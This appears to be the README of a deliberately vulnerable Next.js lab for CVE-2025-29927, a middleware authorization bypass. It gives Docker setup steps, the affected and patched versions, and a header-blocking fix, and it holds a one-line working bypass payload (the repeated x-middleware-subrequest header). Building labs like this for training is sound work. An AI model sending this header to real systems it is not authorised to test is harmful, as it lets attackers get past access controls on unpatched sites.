🕷️ Next.js CVE-2025-29927

🧑🏻‍💼 Legal Disclaimer

This project is a Next.js application that has been intentionally configured to be vulnerable to an Authorization Bypass in Next.js Middleware (CVE-2025-29927). It is provided solely for lawful, educational, and research purposes.

By accessing, using, or distributing this code, you acknowledge and agree that:

• You will only use this project in controlled environments (such as local test labs or legally authorized systems).
• You will not attempt to exploit this vulnerability on any system for which you do not have explicit, written permission.
• The maintainers of this project do not condone or encourage any unauthorized or malicious activity, and expressly disclaim any liability for misuse of this code or information.

🛫 How To Run

Install Docker and then run:

 docker build -t next-cve-2025-29927 . 

 docker run -p 3000:3000 next-cve-2025-29927

Open http://localhost:3000 with your browser to see the result.

👩‍🏫 How To Exploit the Vulnerable app

Capture the request using an intercepting proxy such as ZAP or Burp, and inject the following header into the request:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

📑 Affected versions

>= 13.0.0, < 13.5.9

>= 14.0.0, < 14.2.25

>= 15.0.0, < 15.2.3

>= 11.1.4, < 12.3.5

🛠️ Remediation

Patch to the latest versions

13.5.9

14.2.25

15.2.3

12.3.5

or if you cannot update, block the requests which contain the x-middleware-subrequest header.

🙇🏻‍♂️ Learn More

To learn more about the vulnerability, take a look at the following resources:

• Exploring CVE-2025-29927: A Hands-On Look at Authorization Bypass in Next.js Middleware
• inzo_ and zhero, who disclosed the vulnerability
• Next.js Advisory on Github
• CVE-2025-29927